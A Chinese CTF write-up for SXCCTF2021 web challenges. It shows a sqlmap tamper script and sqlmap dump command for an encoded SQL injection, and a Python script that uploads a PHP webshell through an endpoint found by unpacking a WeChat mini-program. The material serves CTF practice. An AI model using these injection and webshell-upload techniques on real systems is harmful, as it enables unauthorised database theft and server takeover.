博客
关于我
SXCCTF2021 Web
阅读量:199 次
发布时间:2019-02-28

本文共 4823 字,大约阅读时间需要 16 分钟。

前言

是认识的一个师傅的学校的比赛,很多大师傅们也都去打了。题目质量很高,就是我太菜了。。Web只会1道,看了一下y4师傅的WP学习了一下微信小程序逆向的那道题,还剩下一道CMS的审计,不会做,先暂时留着,等到下一阶段专门进行CMS审计的学习的时候再好好审一审。

Base

robots.txt里面可以得到base.txt,得到255个,写个python脚本把编码跑出来就可以了,比如d是Xw这样的。

最后我把比较重要的给跑了出来:

dic={   '$':'Hw',';':'Ng','?':'Og' ,"'":'Ig'  ,',':'Jw','_':'Wg','(':'Iw','<':'Nw','}':'eA','%':'IA',')':'JA','-':'KA','=':'OA','.':'KQ','*':'JQ','>':'OQ'  ,'o': 'ag', 'p': 'aw', 'm': 'aA', 'n': 'aQ', 's': 'bg', 't': 'bw', 'q': 'bA', 'r': 'bQ', 'w': 'cg', 'x': 'cw', 'u': 'cA', 'v': 'cQ', 'y': 'dA', 'z': 'dQ', '+': 'Jg', '/': 'Kg', 'C': 'Pg', 'D': 'Pw', 'A': 'PA', 'B': 'PQ', 'G': 'Qg', 'H': 'Qw', 'E': 'QA', 'F': 'QQ', 'K': 'Rg', 'L': 'Rw', 'I': 'RA', 'J': 'RQ', 'O': 'Sg', 'P': 'Sw', 'M': 'SA', 'N': 'SQ', 'S': 'Tg', 'T': 'Tw', 'Q': 'TA', 'R': 'TQ', 'W': 'Ug', 'X': 'Uw', 'U': 'UA', 'V': 'UQ', 'Y': 'VA', 'Z': 'VQ', 'c': 'Xg', 'd': 'Xw', 'a': 'XA', 'b': 'XQ', 'g': 'Yg', 'h': 'Yw', 'e': 'YA', 'f': 'YQ', 'k': 'Zg', 'l': 'Zw', 'i': 'ZA', 'j': 'ZQ', ' ': 'CA', '0': 'Kw', '3': 'Lg', '4': 'Lw', '1': 'LA', '2': 'LQ', '7': 'Mg', '8': 'Mw', '5': 'MA', '6': 'MQ', '9': 'NA'}

构造出admin,然后就是SQL注入了。这题有2个点比较烦,一就是自己手注的话,每个payload都得按照这个dic编码一次。还有就是这样直接union注入的话,没有回显。是的,没有回显,我也不知道为什么,挺奇怪的,所以方便一点就sqlmap一把梭,因为就是个简单的SQL注入,一点过滤都没有,布尔注入随便也可以写的,不过因为最近刚学习sqlmap的tamper,就写了个sqlmap的tamper,然后sqlmap跑出来就可以了。

#!/usr/bin/env python"""Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)See the file 'LICENSE' for copying permission"""from lib.core.compat import xrangefrom lib.core.enums import PRIORITY__priority__ = PRIORITY.LOWdef dependencies():    passdef tamper(payload, **kwargs):    retVal = payload    dic={   '$':'Hw',';':'Ng','?':'Og' ,"'":'Ig'  ,',':'Jw','_':'Wg','(':'Iw','<':'Nw','}':'eA','%':'IA',')':'JA','-':'KA','=':'OA','.':'KQ','*':'JQ','>':'OQ'  ,'o': 'ag', 'p': 'aw', 'm': 'aA', 'n': 'aQ', 's': 'bg', 't': 'bw', 'q': 'bA', 'r': 'bQ', 'w': 'cg', 'x': 'cw', 'u': 'cA', 'v': 'cQ', 'y': 'dA', 'z': 'dQ', '+': 'Jg', '/': 'Kg', 'C': 'Pg', 'D': 'Pw', 'A': 'PA', 'B': 'PQ', 'G': 'Qg', 'H': 'Qw', 'E': 'QA', 'F': 'QQ', 'K': 'Rg', 'L': 'Rw', 'I': 'RA', 'J': 'RQ', 'O': 'Sg', 'P': 'Sw', 'M': 'SA', 'N': 'SQ', 'S': 'Tg', 'T': 'Tw', 'Q': 'TA', 'R': 'TQ', 'W': 'Ug', 'X': 'Uw', 'U': 'UA', 'V': 'UQ', 'Y': 'VA', 'Z': 'VQ', 'c': 'Xg', 'd': 'Xw', 'a': 'XA', 'b': 'XQ', 'g': 'Yg', 'h': 'Yw', 'e': 'YA', 'f': 'YQ', 'k': 'Zg', 'l': 'Zw', 'i': 'ZA', 'j': 'ZQ', ' ': 'CA', '0': 'Kw', '3': 'Lg', '4': 'Lw', '1': 'LA', '2': 'LQ', '7': 'Mg', '8': 'Mw', '5': 'MA', '6': 'MQ', '9': 'NA'}    if payload:        retVal=''        for i in payload:            if i in dic:                i=dic[i]            retVal+=i    return retVal

然后sqlmap一把梭:

python sqlmap.py -u "http://106.55.249.213:5001/?user=XAXwaAZAaQ&id=1" --dump -p id --tamper="new1.py"

布尔注入的脚本就不写了,太懒了,最近刷ctfshow的sql注入,这几天写了太多注入脚本,写的人都傻了,累了累了。

Wechat

第一次接触微信小程序的逆向,参考了一下y4师傅的博客。我们把附件下载下来是没有后缀名的,但是微信小程序的逆向,肯定是.wxapkg。然后就是利用WxAppUnpacker这个工具逆向一下:

用法也给了:

node wuWxapkg.js 小程序包路径(.wxapkg格式)

需要用到node,而且可能会报一些module不存在,和python类似,都是因为我们没有下载那个module,去谷歌查一下下载就可以了,感觉都是这样:

npm install xxx --save

装好后再用就可以成功得到小程序的源代码了,然后就不会了。。因为我不会javascript。。所以只能跟着y4师傅直接得到结果,至于代码审计的过程,等以后学了javascript后再来审一遍。

在notes.js里面发现了文件上传:

// pages/notes/notes.jsPage({   data: {   }})     picPaths: []    },    onLoad: function(a) {   },    chooseImageTap: function() {           var a = this;        wx.showActionSheet({               itemList: [ "从相册中选择", "拍照" ],            itemColor: "#00000",            success: function(e) {                   e.cancel || (0 == e.tapIndex ? a.chooseWxImage("album") : 1 == e.tapIndex && a.chooseWxImage("camera"));            }        });    },    chooseWxImage: function(a) {           var e = this;        e.data.imgs;        wx.chooseImage({               sizeType: [ "original", "compressed" ],            sourceType: [ a ],            success: function(a) {                   console.log(a.tempFilePaths[0]), e.upImgs(a.tempFilePaths[0], 0);            }        });    },    upImgs: function(a, e) {           var t = this;        wx.uploadFile({               url: "http://121.37.189.111:8055/upload_file.php",            filePath: a,            name: "file",            header: {                   "content-type": "multipart/form-data"            },            formData: null,            success: function(a) {                   console.log(a);                var e = JSON.parse(a.data);                t.data.picPaths.push(e.msg), t.setData({                       picPaths: t.data.picPaths                }), console.log(t.data.picPaths);            }        });    }});

写个python传马就可以了,因为过滤了<?,所以拿script来绕过,正好php的版本也是7以下:

import requestsurl="http://121.37.189.111:8055/upload_file.php"files={       'file':('feng.php',"")}r=requests.post(url=url,files=files)print(r.text)

传完后会得到上传的马的路径,然后蚁剑连一下就可以找到flag了。

总结

还是太菜了哇,不会javascript,php也审不了CMS,要加紧学习哇。

转载地址:http://fjis.baihongyu.com/

你可能感兴趣的文章
mysql 字段合并问题(group_concat)
查看>>
mysql 字段类型类型
查看>>
MySQL 字符串截取函数,字段截取,字符串截取
查看>>
MySQL 存储引擎
查看>>
mysql 存储过程 注入_mysql 视图 事务 存储过程 SQL注入
查看>>
MySQL 存储过程参数:in、out、inout
查看>>
mysql 存储过程每隔一段时间执行一次
查看>>
mysql 存在update不存在insert
查看>>
Mysql 学习总结(86)—— Mysql 的 JSON 数据类型正确使用姿势
查看>>
Mysql 学习总结(87)—— Mysql 执行计划(Explain)再总结
查看>>
Mysql 学习总结(88)—— Mysql 官方为什么不推荐用雪花 id 和 uuid 做 MySQL 主键
查看>>
Mysql 学习总结(89)—— Mysql 库表容量统计
查看>>
mysql 实现主从复制/主从同步
查看>>
mysql 审核_审核MySQL数据库上的登录
查看>>
mysql 导入 sql 文件时 ERROR 1046 (3D000) no database selected 错误的解决
查看>>
mysql 导入导出大文件
查看>>
MySQL 导出数据
查看>>
mysql 将null转代为0
查看>>
mysql 常用
查看>>
MySQL 常用列类型
查看>>